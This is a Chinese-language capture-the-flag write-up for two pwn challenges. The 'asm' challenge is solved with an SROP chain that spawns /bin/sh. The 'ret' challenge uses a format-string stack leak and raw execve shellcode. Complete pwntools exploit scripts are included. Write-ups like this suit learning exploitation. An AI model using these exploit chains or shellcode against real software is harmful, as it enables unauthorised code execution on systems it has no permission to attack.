2024 御网杯

asm

一道SROP,保护全关,代码较短直接看汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.text:0000000000401000 ; =============== S U B R O U T I N E =======================================
.text:0000000000401000
.text:0000000000401000
.text:0000000000401000 ; signed __int64 start()
.text:0000000000401000 public _start
.text:0000000000401000 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401000 ; LOAD:0000000000400088↑o
.text:0000000000401000 mov eax, 1
.text:0000000000401005 mov edi, 1 ; fd
.text:000000000040100A mov rsi, offset msg ; "Hello Pwn"
.text:0000000000401014 mov edx, 9 ; count
.text:0000000000401019 syscall ; LINUX - sys_write
.text:000000000040101B mov eax, 0
.text:0000000000401020 mov rsi, rsp ; buf
.text:0000000000401023 mov edi, 0 ; fd
.text:0000000000401028 mov edx, 190h ; count
.text:000000000040102D syscall ; LINUX - sys_read
.text:000000000040102F retn
.text:000000000040102F _start endp
.text:000000000040102F
.text:0000000000401030 ; ---------------------------------------------------------------------------
.text:0000000000401030 shl rax, 1
.text:0000000000401033 retn
.text:0000000000401034 ; ---------------------------------------------------------------------------
.text:0000000000401034 mov ecx, 1
.text:0000000000401039 xor rax, rcx
.text:000000000040103C retn
.text:000000000040103D ; ---------------------------------------------------------------------------
.text:000000000040103D xor rax, rax
.text:0000000000401040 retn
.text:0000000000401040 _text ends
.text:0000000000401040
.data:0000000000402000 ; ===========================================================================
.data:0000000000402000
.data:0000000000402000 ; Segment type: Pure data
.data:0000000000402000 ; Segment permissions: Read/Write
.data:0000000000402000 _data segment dword public 'DATA' use64
.data:0000000000402000 assume cs:_data
.data:0000000000402000 ;org 402000h
.data:0000000000402000 ; char msg[]
.data:0000000000402000 msg db 'Hello Pwn',0 ; DATA XREF: LOAD:00000000004000C0↑o
.data:0000000000402000 ; _start+A↑o
.data:000000000040200A sh db '/bin/sh',0
.data:000000000040200A _data ends
.data:000000000040200A
.data:000000000040200A
.data:000000000040200A end _start

明显的看到在read()处是有溢出的,且read()是向rsp,即返回地址处写值

很明显的SROP,三个gadgets,rax可控制

shl rax,1是将rax左移一位,相当于乘二

思路:先通过利用gadgets设置rax =15即1111,左移三次再加一即可得到,syscall一下就可调用 sigreturn,然后通过pwntools直接执行excve(bin/sh,0,0),exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-08 15:33:06
from pwn import *
import time
import struct

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('', )
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

shl_rax = 0x401030
syscall = 0x40102D
xor_rax = 0x40103D
mov_ecx = 0x401034
bin_sh = 0x40200A

sigframe = SigreturnFrame()
sigframe.rax = 0x3b
sigframe.rdi = bin_sh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

payload = p64(xor_rax) + p64(mov_ecx) + p64(shl_rax) +p64(mov_ecx) + p64(shl_rax)+ p64(mov_ecx) + p64(shl_rax) + p64(mov_ecx)
payload += p64(syscall) + flat(sigframe)

#gdb.attach(p)
#pause()

sl(payload)

ret

无保护

格式化字符串+栈迁移

中间有一个随机数必须大于144才能溢出到rbp+8,真恶心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-08 18:04:43
from pwn import *
import time
import struct

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('', )
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
#gdb.attach(p,gdbscript='''
#b *0x400863
#''')

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)


fmt = b"%8$p"
sla(b"hello,What do you want to ask?",fmt)
p.recvline()
stack = int16(r(14)) - 0x90
print(hex(stack))

ru(b"ok,")
num = int(r(3),10)
print("++++++++-->",num)

# shellcode = asm(shellcraft.sh())
shellcode = b"\x48\x31\xd2\x48\x31\xf6\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05"
#31
payload = shellcode
payload += b'a'*(0x60)
payload += p64(0)
payload += p64(stack)
sa(b"luck number",payload)

itr()